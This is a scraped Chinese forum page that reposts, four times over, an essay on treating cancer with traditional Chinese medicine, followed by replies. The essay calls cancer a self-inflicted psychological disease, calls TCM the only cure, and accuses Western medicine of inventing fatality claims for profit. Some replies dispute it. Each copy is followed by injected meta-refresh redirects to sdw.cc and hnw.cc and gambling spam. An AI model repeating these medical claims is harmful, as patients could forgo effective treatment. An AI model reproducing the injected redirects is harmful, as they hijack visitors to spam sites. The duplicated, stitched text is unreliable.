超级军网谈谈癌症的中医治法
来源：百度文库 编辑：超级军网 时间：2024/04/30 14:02:06
<br /><br />http://blog.sciencenet.cn/home.p ... g&id=487261
一提到癌症，不少人总把它和不治之症联系起来，仿佛得了癌症就没救了。可大家都知道，癌症有不少不治而愈的患者，同样也有大量长期和癌细胞和平共处的患者，还有更多被中医治好的患者。况且，癌细胞往往只是身体一个部门上的一小块，若大的一个整体怎么可能管不住它，如果你是人体这个整体最高的管理者，难道没有能力管住下面一个部门的一小撮坏蛋分子？笑话！可为什么大家治不好呢？答案是显而易见的，方法论错误。如果治疗的大方向都错了，怎么可能治好呢？
让我们先来看看癌症是一种什么样的病？如果连病因都弄不清楚，治疗就会盲无头结绪。内经说：主不明，则十二官危。癌症在中医学里就是典型的“主不明”的病，即身体的领导不知道谁好谁坏，甚至还把癌细胞当成是好同志，优先供应它能量，这才使癌症变得难以治疗。你想啊，如果一个人想死，外力能够挡得住吗？而癌症就是一种慢性自杀，患者总是把能量优先给了癌细胞，你吃得越好，癌细胞发展越快，“虚不受补”说明的就是这个道理。
可谁是身体的最高领导呢？一提到这个问题，不少人都会相当然地说，它就是大脑。其实懂点哲学的人都知道，整体决定局部，大脑虽然高高在上，但它绝对只是整体的一部分，它应该服从于整体，而不是凌驾在整体之上。我们把大脑凌驾在整体之上这有道理吗？让我们来看看中医是怎么说的？
中医学认为，谁控制了整体的能量谁就是整体的最高管理者，以心脏为核心的脏腑系统是血液的控制者，它才是真正的中心，也只有它有能力通过血液的不对称供应控制全身，听话就优先供应你血液，不听话就抑制你血液供应。大脑中信息的处理也是这样，意识不是条件反射，它还有一层更神秘的过程，这就是信息的优胜劣汰，如果没有这个过程，所有信息都反馈回来，整体还不乱了。人体之所以能够步调一致，就在于信息之间的竞争，只有一个信息能够竞争出来，成为统治者，并由它强迫其它信息和它同步运动，反馈到全身，这才形成了有统一目标的活动，意识所体现的就是这种整体性活动。可哪一个信息能够竞争出来呢？它不是取决于大脑，而是要看血液优先支持哪一个信息，只有得到了整体能量的优先支持，它才能够迅速由弱变强成为统治者，如果与整体能量的意志相违背，再强的信息也无法竞争出来。显然，真正决定意识的不是大脑，而是以心脏为核心的脏脏系统。如果把人比喻成一个企业，那么五脏六腑就是人体的董事会，心则是董事长，大脑不过是按照董事长意志对来自全身的信息进行优胜劣汰的管理者。
明白了人体的最高管理者是谁，就知道癌症为什么难治了，它就是心病难医，人天生都有一种心理上的偏执性，如性格就是它的一种具体表现。一般人这种偏执性并不明显，可某些人不一样，特别是在特定的环境中，它总是让某一类信息被优选出来主导人的意识，每一种意识都对应着某一个组织器官的优先活动，如果这类偏执意识经常产生，对应的组织器官就会兴奋兴奋再兴奋，兴奋过度，癌症就产生了，癌症其实就是一种由偏执意识所主导的组织细胞的功能亢进症。癌症产生以后，不少人怨天由人，总没有认识到真正的错误就在于患者自身，是你把血液优先供应给癌细胞才使癌症变得难以治疗，如果这个问题不解决，癌症是没治的，神医也救不了你。要想治好癌症，最重要的就是抑制偏执意识的产生，掐断血液对癌细胞的优先供应机制，此时再用中医增强身体的抗癌能力，癌症就可以治好了。
让我们看看西医是怎么治的，癌症是世界上唯一治死人不用承担任何责任的疾病，这么好的发财机会，谁不眼红啊，为了既能挣钱又不承担责任，人们就杜撰出了“癌症必死论”，否定中医治癌的效果，目的不就是推荐责任嘛！可患者呢？癌症本来就是一种心理病，一听到无药可治，心理就完全跨了，这就等于让身体把更多的血液优先供应给癌细胞，患者只能死得更快，事实也证明，患者有不少人就是被吓死的。本来治疗癌症最好的医生就是患者自己，保持良好的精神状态是最好的药方，可西医呢？不是想办法解决身体的管理问题，而是只知道用外力杀死癌细胞，但这样一来，身体的管理更乱了，这样能治好病吗？
疗效才是真道理，能治好病的才是好方法，不要讲中医的坏话，它可是这个世界上唯一能够治好癌症的方法。虽然由于教育的失误，使真正的好中医象大熊猫一样少，找了笨蛋的中医治病，治不好病埋怨中医，这不公平吧！要埋怨就埋怨畸形的中医教育吧！是它使中医治疗的效果一代不如一代。要想治好癌症，就不要迷信任何一个人，多找几个中医试试，如果药方在半个月内没有明显疗效，就马上换医生换方，只要找到一个好中医，癌症的治疗并不是梦。.
<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩☆足球☆篮球...各类投注开户下注
<P> </P>
推荐→第一投注☆:倍率高☆存取速度快.国内最好的投注平台
<br /><br />http://blog.sciencenet.cn/home.p ... g&id=487261
一提到癌症，不少人总把它和不治之症联系起来，仿佛得了癌症就没救了。可大家都知道，癌症有不少不治而愈的患者，同样也有大量长期和癌细胞和平共处的患者，还有更多被中医治好的患者。况且，癌细胞往往只是身体一个部门上的一小块，若大的一个整体怎么可能管不住它，如果你是人体这个整体最高的管理者，难道没有能力管住下面一个部门的一小撮坏蛋分子？笑话！可为什么大家治不好呢？答案是显而易见的，方法论错误。如果治疗的大方向都错了，怎么可能治好呢？
让我们先来看看癌症是一种什么样的病？如果连病因都弄不清楚，治疗就会盲无头结绪。内经说：主不明，则十二官危。癌症在中医学里就是典型的“主不明”的病，即身体的领导不知道谁好谁坏，甚至还把癌细胞当成是好同志，优先供应它能量，这才使癌症变得难以治疗。你想啊，如果一个人想死，外力能够挡得住吗？而癌症就是一种慢性自杀，患者总是把能量优先给了癌细胞，你吃得越好，癌细胞发展越快，“虚不受补”说明的就是这个道理。
可谁是身体的最高领导呢？一提到这个问题，不少人都会相当然地说，它就是大脑。其实懂点哲学的人都知道，整体决定局部，大脑虽然高高在上，但它绝对只是整体的一部分，它应该服从于整体，而不是凌驾在整体之上。我们把大脑凌驾在整体之上这有道理吗？让我们来看看中医是怎么说的？
中医学认为，谁控制了整体的能量谁就是整体的最高管理者，以心脏为核心的脏腑系统是血液的控制者，它才是真正的中心，也只有它有能力通过血液的不对称供应控制全身，听话就优先供应你血液，不听话就抑制你血液供应。大脑中信息的处理也是这样，意识不是条件反射，它还有一层更神秘的过程，这就是信息的优胜劣汰，如果没有这个过程，所有信息都反馈回来，整体还不乱了。人体之所以能够步调一致，就在于信息之间的竞争，只有一个信息能够竞争出来，成为统治者，并由它强迫其它信息和它同步运动，反馈到全身，这才形成了有统一目标的活动，意识所体现的就是这种整体性活动。可哪一个信息能够竞争出来呢？它不是取决于大脑，而是要看血液优先支持哪一个信息，只有得到了整体能量的优先支持，它才能够迅速由弱变强成为统治者，如果与整体能量的意志相违背，再强的信息也无法竞争出来。显然，真正决定意识的不是大脑，而是以心脏为核心的脏脏系统。如果把人比喻成一个企业，那么五脏六腑就是人体的董事会，心则是董事长，大脑不过是按照董事长意志对来自全身的信息进行优胜劣汰的管理者。
明白了人体的最高管理者是谁，就知道癌症为什么难治了，它就是心病难医，人天生都有一种心理上的偏执性，如性格就是它的一种具体表现。一般人这种偏执性并不明显，可某些人不一样，特别是在特定的环境中，它总是让某一类信息被优选出来主导人的意识，每一种意识都对应着某一个组织器官的优先活动，如果这类偏执意识经常产生，对应的组织器官就会兴奋兴奋再兴奋，兴奋过度，癌症就产生了，癌症其实就是一种由偏执意识所主导的组织细胞的功能亢进症。癌症产生以后，不少人怨天由人，总没有认识到真正的错误就在于患者自身，是你把血液优先供应给癌细胞才使癌症变得难以治疗，如果这个问题不解决，癌症是没治的，神医也救不了你。要想治好癌症，最重要的就是抑制偏执意识的产生，掐断血液对癌细胞的优先供应机制，此时再用中医增强身体的抗癌能力，癌症就可以治好了。
让我们看看西医是怎么治的，癌症是世界上唯一治死人不用承担任何责任的疾病，这么好的发财机会，谁不眼红啊，为了既能挣钱又不承担责任，人们就杜撰出了“癌症必死论”，否定中医治癌的效果，目的不就是推荐责任嘛！可患者呢？癌症本来就是一种心理病，一听到无药可治，心理就完全跨了，这就等于让身体把更多的血液优先供应给癌细胞，患者只能死得更快，事实也证明，患者有不少人就是被吓死的。本来治疗癌症最好的医生就是患者自己，保持良好的精神状态是最好的药方，可西医呢？不是想办法解决身体的管理问题，而是只知道用外力杀死癌细胞，但这样一来，身体的管理更乱了，这样能治好病吗？
疗效才是真道理，能治好病的才是好方法，不要讲中医的坏话，它可是这个世界上唯一能够治好癌症的方法。虽然由于教育的失误，使真正的好中医象大熊猫一样少，找了笨蛋的中医治病，治不好病埋怨中医，这不公平吧！要埋怨就埋怨畸形的中医教育吧！是它使中医治疗的效果一代不如一代。要想治好癌症，就不要迷信任何一个人，多找几个中医试试，如果药方在半个月内没有明显疗效，就马上换医生换方，只要找到一个好中医，癌症的治疗并不是梦。.
<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩☆足球☆篮球...各类投注开户下注
<P> </P>
推荐→第一投注☆:倍率高☆存取速度快.国内最好的投注平台
一提到癌症，不少人总把它和不治之症联系起来，仿佛得了癌症就没救了。可大家都知道，癌症有不少不治而愈的患者，同样也有大量长期和癌细胞和平共处的患者，还有更多被中医治好的患者。况且，癌细胞往往只是身体一个部门上的一小块，若大的一个整体怎么可能管不住它，如果你是人体这个整体最高的管理者，难道没有能力管住下面一个部门的一小撮坏蛋分子？笑话！可为什么大家治不好呢？答案是显而易见的，方法论错误。如果治疗的大方向都错了，怎么可能治好呢？
让我们先来看看癌症是一种什么样的病？如果连病因都弄不清楚，治疗就会盲无头结绪。内经说：主不明，则十二官危。癌症在中医学里就是典型的“主不明”的病，即身体的领导不知道谁好谁坏，甚至还把癌细胞当成是好同志，优先供应它能量，这才使癌症变得难以治疗。你想啊，如果一个人想死，外力能够挡得住吗？而癌症就是一种慢性自杀，患者总是把能量优先给了癌细胞，你吃得越好，癌细胞发展越快，“虚不受补”说明的就是这个道理。
可谁是身体的最高领导呢？一提到这个问题，不少人都会相当然地说，它就是大脑。其实懂点哲学的人都知道，整体决定局部，大脑虽然高高在上，但它绝对只是整体的一部分，它应该服从于整体，而不是凌驾在整体之上。我们把大脑凌驾在整体之上这有道理吗？让我们来看看中医是怎么说的？
中医学认为，谁控制了整体的能量谁就是整体的最高管理者，以心脏为核心的脏腑系统是血液的控制者，它才是真正的中心，也只有它有能力通过血液的不对称供应控制全身，听话就优先供应你血液，不听话就抑制你血液供应。大脑中信息的处理也是这样，意识不是条件反射，它还有一层更神秘的过程，这就是信息的优胜劣汰，如果没有这个过程，所有信息都反馈回来，整体还不乱了。人体之所以能够步调一致，就在于信息之间的竞争，只有一个信息能够竞争出来，成为统治者，并由它强迫其它信息和它同步运动，反馈到全身，这才形成了有统一目标的活动，意识所体现的就是这种整体性活动。可哪一个信息能够竞争出来呢？它不是取决于大脑，而是要看血液优先支持哪一个信息，只有得到了整体能量的优先支持，它才能够迅速由弱变强成为统治者，如果与整体能量的意志相违背，再强的信息也无法竞争出来。显然，真正决定意识的不是大脑，而是以心脏为核心的脏脏系统。如果把人比喻成一个企业，那么五脏六腑就是人体的董事会，心则是董事长，大脑不过是按照董事长意志对来自全身的信息进行优胜劣汰的管理者。
明白了人体的最高管理者是谁，就知道癌症为什么难治了，它就是心病难医，人天生都有一种心理上的偏执性，如性格就是它的一种具体表现。一般人这种偏执性并不明显，可某些人不一样，特别是在特定的环境中，它总是让某一类信息被优选出来主导人的意识，每一种意识都对应着某一个组织器官的优先活动，如果这类偏执意识经常产生，对应的组织器官就会兴奋兴奋再兴奋，兴奋过度，癌症就产生了，癌症其实就是一种由偏执意识所主导的组织细胞的功能亢进症。癌症产生以后，不少人怨天由人，总没有认识到真正的错误就在于患者自身，是你把血液优先供应给癌细胞才使癌症变得难以治疗，如果这个问题不解决，癌症是没治的，神医也救不了你。要想治好癌症，最重要的就是抑制偏执意识的产生，掐断血液对癌细胞的优先供应机制，此时再用中医增强身体的抗癌能力，癌症就可以治好了。
让我们看看西医是怎么治的，癌症是世界上唯一治死人不用承担任何责任的疾病，这么好的发财机会，谁不眼红啊，为了既能挣钱又不承担责任，人们就杜撰出了“癌症必死论”，否定中医治癌的效果，目的不就是推荐责任嘛！可患者呢？癌症本来就是一种心理病，一听到无药可治，心理就完全跨了，这就等于让身体把更多的血液优先供应给癌细胞，患者只能死得更快，事实也证明，患者有不少人就是被吓死的。本来治疗癌症最好的医生就是患者自己，保持良好的精神状态是最好的药方，可西医呢？不是想办法解决身体的管理问题，而是只知道用外力杀死癌细胞，但这样一来，身体的管理更乱了，这样能治好病吗？
疗效才是真道理，能治好病的才是好方法，不要讲中医的坏话，它可是这个世界上唯一能够治好癌症的方法。虽然由于教育的失误，使真正的好中医象大熊猫一样少，找了笨蛋的中医治病，治不好病埋怨中医，这不公平吧！要埋怨就埋怨畸形的中医教育吧！是它使中医治疗的效果一代不如一代。要想治好癌症，就不要迷信任何一个人，多找几个中医试试，如果药方在半个月内没有明显疗效，就马上换医生换方，只要找到一个好中医，癌症的治疗并不是梦。.
<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩☆足球☆篮球...各类投注开户下注
<P> </P>
推荐→第一投注☆:倍率高☆存取速度快.国内最好的投注平台
<br /><br />http://blog.sciencenet.cn/home.p ... g&id=487261
一提到癌症，不少人总把它和不治之症联系起来，仿佛得了癌症就没救了。可大家都知道，癌症有不少不治而愈的患者，同样也有大量长期和癌细胞和平共处的患者，还有更多被中医治好的患者。况且，癌细胞往往只是身体一个部门上的一小块，若大的一个整体怎么可能管不住它，如果你是人体这个整体最高的管理者，难道没有能力管住下面一个部门的一小撮坏蛋分子？笑话！可为什么大家治不好呢？答案是显而易见的，方法论错误。如果治疗的大方向都错了，怎么可能治好呢？
让我们先来看看癌症是一种什么样的病？如果连病因都弄不清楚，治疗就会盲无头结绪。内经说：主不明，则十二官危。癌症在中医学里就是典型的“主不明”的病，即身体的领导不知道谁好谁坏，甚至还把癌细胞当成是好同志，优先供应它能量，这才使癌症变得难以治疗。你想啊，如果一个人想死，外力能够挡得住吗？而癌症就是一种慢性自杀，患者总是把能量优先给了癌细胞，你吃得越好，癌细胞发展越快，“虚不受补”说明的就是这个道理。
可谁是身体的最高领导呢？一提到这个问题，不少人都会相当然地说，它就是大脑。其实懂点哲学的人都知道，整体决定局部，大脑虽然高高在上，但它绝对只是整体的一部分，它应该服从于整体，而不是凌驾在整体之上。我们把大脑凌驾在整体之上这有道理吗？让我们来看看中医是怎么说的？
中医学认为，谁控制了整体的能量谁就是整体的最高管理者，以心脏为核心的脏腑系统是血液的控制者，它才是真正的中心，也只有它有能力通过血液的不对称供应控制全身，听话就优先供应你血液，不听话就抑制你血液供应。大脑中信息的处理也是这样，意识不是条件反射，它还有一层更神秘的过程，这就是信息的优胜劣汰，如果没有这个过程，所有信息都反馈回来，整体还不乱了。人体之所以能够步调一致，就在于信息之间的竞争，只有一个信息能够竞争出来，成为统治者，并由它强迫其它信息和它同步运动，反馈到全身，这才形成了有统一目标的活动，意识所体现的就是这种整体性活动。可哪一个信息能够竞争出来呢？它不是取决于大脑，而是要看血液优先支持哪一个信息，只有得到了整体能量的优先支持，它才能够迅速由弱变强成为统治者，如果与整体能量的意志相违背，再强的信息也无法竞争出来。显然，真正决定意识的不是大脑，而是以心脏为核心的脏脏系统。如果把人比喻成一个企业，那么五脏六腑就是人体的董事会，心则是董事长，大脑不过是按照董事长意志对来自全身的信息进行优胜劣汰的管理者。
明白了人体的最高管理者是谁，就知道癌症为什么难治了，它就是心病难医，人天生都有一种心理上的偏执性，如性格就是它的一种具体表现。一般人这种偏执性并不明显，可某些人不一样，特别是在特定的环境中，它总是让某一类信息被优选出来主导人的意识，每一种意识都对应着某一个组织器官的优先活动，如果这类偏执意识经常产生，对应的组织器官就会兴奋兴奋再兴奋，兴奋过度，癌症就产生了，癌症其实就是一种由偏执意识所主导的组织细胞的功能亢进症。癌症产生以后，不少人怨天由人，总没有认识到真正的错误就在于患者自身，是你把血液优先供应给癌细胞才使癌症变得难以治疗，如果这个问题不解决，癌症是没治的，神医也救不了你。要想治好癌症，最重要的就是抑制偏执意识的产生，掐断血液对癌细胞的优先供应机制，此时再用中医增强身体的抗癌能力，癌症就可以治好了。
让我们看看西医是怎么治的，癌症是世界上唯一治死人不用承担任何责任的疾病，这么好的发财机会，谁不眼红啊，为了既能挣钱又不承担责任，人们就杜撰出了“癌症必死论”，否定中医治癌的效果，目的不就是推荐责任嘛！可患者呢？癌症本来就是一种心理病，一听到无药可治，心理就完全跨了，这就等于让身体把更多的血液优先供应给癌细胞，患者只能死得更快，事实也证明，患者有不少人就是被吓死的。本来治疗癌症最好的医生就是患者自己，保持良好的精神状态是最好的药方，可西医呢？不是想办法解决身体的管理问题，而是只知道用外力杀死癌细胞，但这样一来，身体的管理更乱了，这样能治好病吗？
疗效才是真道理，能治好病的才是好方法，不要讲中医的坏话，它可是这个世界上唯一能够治好癌症的方法。虽然由于教育的失误，使真正的好中医象大熊猫一样少，找了笨蛋的中医治病，治不好病埋怨中医，这不公平吧！要埋怨就埋怨畸形的中医教育吧！是它使中医治疗的效果一代不如一代。要想治好癌症，就不要迷信任何一个人，多找几个中医试试，如果药方在半个月内没有明显疗效，就马上换医生换方，只要找到一个好中医，癌症的治疗并不是梦。.
<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩☆足球☆篮球...各类投注开户下注
<P> </P>
推荐→第一投注☆:倍率高☆存取速度快.国内最好的投注平台
中医对癌症当然有一定疗效，但也不必太过夸大。明代陈实功的《外科正宗》提到“乳岩”时明确指出“凡犯此者，百人百必死”；自古被中医称为四大绝症的“风、痨、膈、臌”中，“膈”基本相当于食道癌，“臌”主要为肝癌肝硬化等，足见古代中医对这类病同样治不好，所以根本不存在什么“中医治疗的效果一代不如一代”的问题。癌症是自古以来的医学难题，至今无论中医西医，都没有特效疗法可言。
中医对癌症当然有一定疗效，但也不必太过夸大。明代陈实功的《外科正宗》提到“乳岩”时明确指出“凡犯此者，百人百必死”；自古被中医称为四大绝症的“风、痨、膈、臌”中，“膈”基本相当于食道癌，“臌”主要为肝癌肝硬化等，足见古代中医对这类病同样治不好，所以根本不存在什么“中医治疗的效果一代不如一代”的问题。癌症是自古以来的医学难题，至今无论中医西医，都没有特效疗法可言。
kutoo 发表于 2011-9-18 12:39 ![]()
中医对癌症当然有一定疗效，但也不必太过夸大。明代陈实功的《外科正宗》提到“乳岩”时明确指出“凡犯此者 ...
一点不错，赞同您的观点。
中医对癌症当然有一定疗效，但也不必太过夸大。明代陈实功的《外科正宗》提到“乳岩”时明确指出“凡犯此者 ...
一点不错，赞同您的观点。
观点跟FLG很像，总结一点就是因为中医是讲坏话讲坏的！
通篇扯淡不解释
风不是绝症，治风得看金元之前的治法，战国时期就可以治风了
从金元四大家开始，中医开始了另一个体系，可惜是错的，之前用的都是经方体系，效果太牛了。那个什么十八反本身就是某些人发现了汉唐时代经方的疗效，不想给别人知道，就捏造了这么个口诀，其实大家去看看伤寒论和金匮要略里面的方子就知道，那有什么反的。比如说甘草反甘遂，那甘草甘遂汤算什么，现代的中医已经走入歧途了。
我一朋友本身是中医，她姐姐长了个甲状腺肿瘤，10X8大，他花了四个月治到了只有米粒大小。他就是用经方的
从金元四大家开始，中医开始了另一个体系，可惜是错的，之前用的都是经方体系，效果太牛了。那个什么十八反本身就是某些人发现了汉唐时代经方的疗效，不想给别人知道，就捏造了这么个口诀，其实大家去看看伤寒论和金匮要略里面的方子就知道，那有什么反的。比如说甘草反甘遂，那甘草甘遂汤算什么，现代的中医已经走入歧途了。
我一朋友本身是中医，她姐姐长了个甲状腺肿瘤，10X8大，他花了四个月治到了只有米粒大小。他就是用经方的
楼上说的意思就是药有用但是理论其实不对。
中医对癌症当然有一定疗效，但也不必太过夸大。明代陈实功的《外科正宗》提到“乳岩”时明确指出“凡犯此者，百人百必死”；自古被中医称为四大绝症的“风、痨、膈、臌”中，“膈”基本相当于食道癌，“臌”主要为肝癌肝硬化等，足见古代中医对这类病同样治不好，所以根本不存在什么“中医治疗的效果一代不如一代”的问题。癌症是自古以来的医学难题，至今无论中医西医，都没有特效疗法可言。
赞同您的观点。
赞同您的观点。
癌症也不是全然不可治疗的，很多癌症在中早期都是可治疗的，当然也有些早期也很难确保治疗好，晚期似乎大多就治不好了。
西医治好的癌症病人一堆一堆的，中医治好的也应该有不少，当然，很多病人是中西医全都看过的，他们不太好分配功劳。
当然还有，在癌症治疗这个领域，骗子是不少的，打中医幌子的骗子多些，西医幌子的也是有的。
西医治好的癌症病人一堆一堆的，中医治好的也应该有不少，当然，很多病人是中西医全都看过的，他们不太好分配功劳。
当然还有，在癌症治疗这个领域，骗子是不少的，打中医幌子的骗子多些，西医幌子的也是有的。
尼麻，中医治癌？先搞清什么是细胞再说吧。
先提供几个治疗好的例子吧，然后检验一下相关性
平衡阴阳，注意饮食，休息，运动！要会调节内心健康、乐观！……
又出来新的迷信啦，不能说西医、中医那个能够绝对行或者相反
疗效才是真道理，能治好病的才是好方法，不要讲中医的坏话，它可是这个世界上唯一能够治好癌症的方法。
================================================================
吹得太过了，恶心死我了。
================================================================
吹得太过了，恶心死我了。
西医治好的癌症更是何止千万。
不过癌症患者很多是被吓死的这句话应该是正确的
从金元四大家开始，中医开始了另一个体系，可惜是错的，之前用的都是经方体系，效果太牛了。那个什么十八反本身就是某些人发现了汉唐时代经方的疗效，不想给别人知道，就捏造了这么个口诀，其实大家去看看伤寒论和金匮要略里面的方子就知道，那有什么反的。比如说甘草反甘遂，那甘草甘遂汤算什么，现代的中医已经走入歧途了。
我一朋友本身是中医，她姐姐长了个甲状腺肿瘤，10X8大，他花了四个月治到了只有米粒大小。他就是用经方的
--------------------------------------------------------------------------------------------------------------------------------
6楼的，你说的我想请教一下，就是你说的经方现在的中医用的还多吗？貌似现在中医不太受重视，改行的很多，其实我觉得对有些疑难杂症，现在医学不太好治的病，中医还是有前途的。
我一朋友本身是中医，她姐姐长了个甲状腺肿瘤，10X8大，他花了四个月治到了只有米粒大小。他就是用经方的
--------------------------------------------------------------------------------------------------------------------------------
6楼的，你说的我想请教一下，就是你说的经方现在的中医用的还多吗？貌似现在中医不太受重视，改行的很多，其实我觉得对有些疑难杂症，现在医学不太好治的病，中医还是有前途的。
有的人还真的逢中医必反啊，中医治好癌症的人我就见过。。
138004925 发表于 2011-12-2 01:17 ![]()
有的人还真的逢中医必反啊，中医治好癌症的人我就见过。。
还是您见多识广。我这个干了快15年临床的肿瘤专业医生都无缘得见啊。
有的人还真的逢中医必反啊，中医治好癌症的人我就见过。。
还是您见多识广。我这个干了快15年临床的肿瘤专业医生都无缘得见啊。
中医治癌用作不应该夸大，从来没有人统计过中医治同一种癌要比西医治愈高的，统计了也不能公布，不可能公布，只有那种什么灵芝包子厂的人员统计过，你能信？后来中央2套说这个灵芝XX粉这个东西原本不是东西。不知道还有谁记的。
因此必竟人家西医的病理药理的解释听着有入耳。癌就是发现早与晚的问题，那种神经多的地方生癌，中医治，西医治一般都能尽早治好，当然要西医手术先。那种没有感觉神经的器官得癌，一查就是晚期，中医西医都治不好。那种腺体多的器官生癌除外，发现早也白搭。
因此必竟人家西医的病理药理的解释听着有入耳。癌就是发现早与晚的问题，那种神经多的地方生癌，中医治，西医治一般都能尽早治好，当然要西医手术先。那种没有感觉神经的器官得癌，一查就是晚期，中医西医都治不好。那种腺体多的器官生癌除外，发现早也白搭。
我不懂医，但听人家懂西医（外科主任医师。领域中的一把刀，据说此人在医学院是教授级。夜里出差去山西给煤老板动刀，一床下来几十万）的人说，真正的中医是传帮代的，是不可能由医学院培养的，西医才是。中医学院培养出来的都不知道是啥，搞好了算是内地著名中医吧。
还听说，学习好的学西医，有个性且学习那个那个什么的去学中医，学中医时古文什么的又都不灵的，除了教材外，看不明白文献的，就去考个中西医结合。听说噢，我不懂，我只知道医院都黑。
禁对以上的话评论，都不是我说的，有想法自己单说，别拿我的转叙说事。
还听说，学习好的学西医，有个性且学习那个那个什么的去学中医，学中医时古文什么的又都不灵的，除了教材外，看不明白文献的，就去考个中西医结合。听说噢，我不懂，我只知道医院都黑。
禁对以上的话评论，都不是我说的，有想法自己单说，别拿我的转叙说事。
黑毛警长 发表于 2011-12-6 23:39 ![]()
我不懂医，但听人家懂西医（外科主任医师。领域中的一把刀，据说此人在医学院是教授级。夜里出差去山西给煤 ...
你这个道道 就是所谓的民间中医 这帮人活跃在全国各地 还有些个玩偏门跑去治艾滋病
我不懂医，但听人家懂西医（外科主任医师。领域中的一把刀，据说此人在医学院是教授级。夜里出差去山西给煤 ...
你这个道道 就是所谓的民间中医 这帮人活跃在全国各地 还有些个玩偏门跑去治艾滋病
nmd 发表于 2011-12-4 22:37 ![]()
还是您见多识广。我这个干了快15年临床的肿瘤专业医生都无缘得见啊。
本人也见过，肠癌啊。
还是您见多识广。我这个干了快15年临床的肿瘤专业医生都无缘得见啊。
本人也见过，肠癌啊。
但是个例，肯定具备代表性。
西医是发端于研究死人，中医缘于活人的自然平衡理念，中医如果思想平面单一，就不如西医啦。
据说芒硝有点作用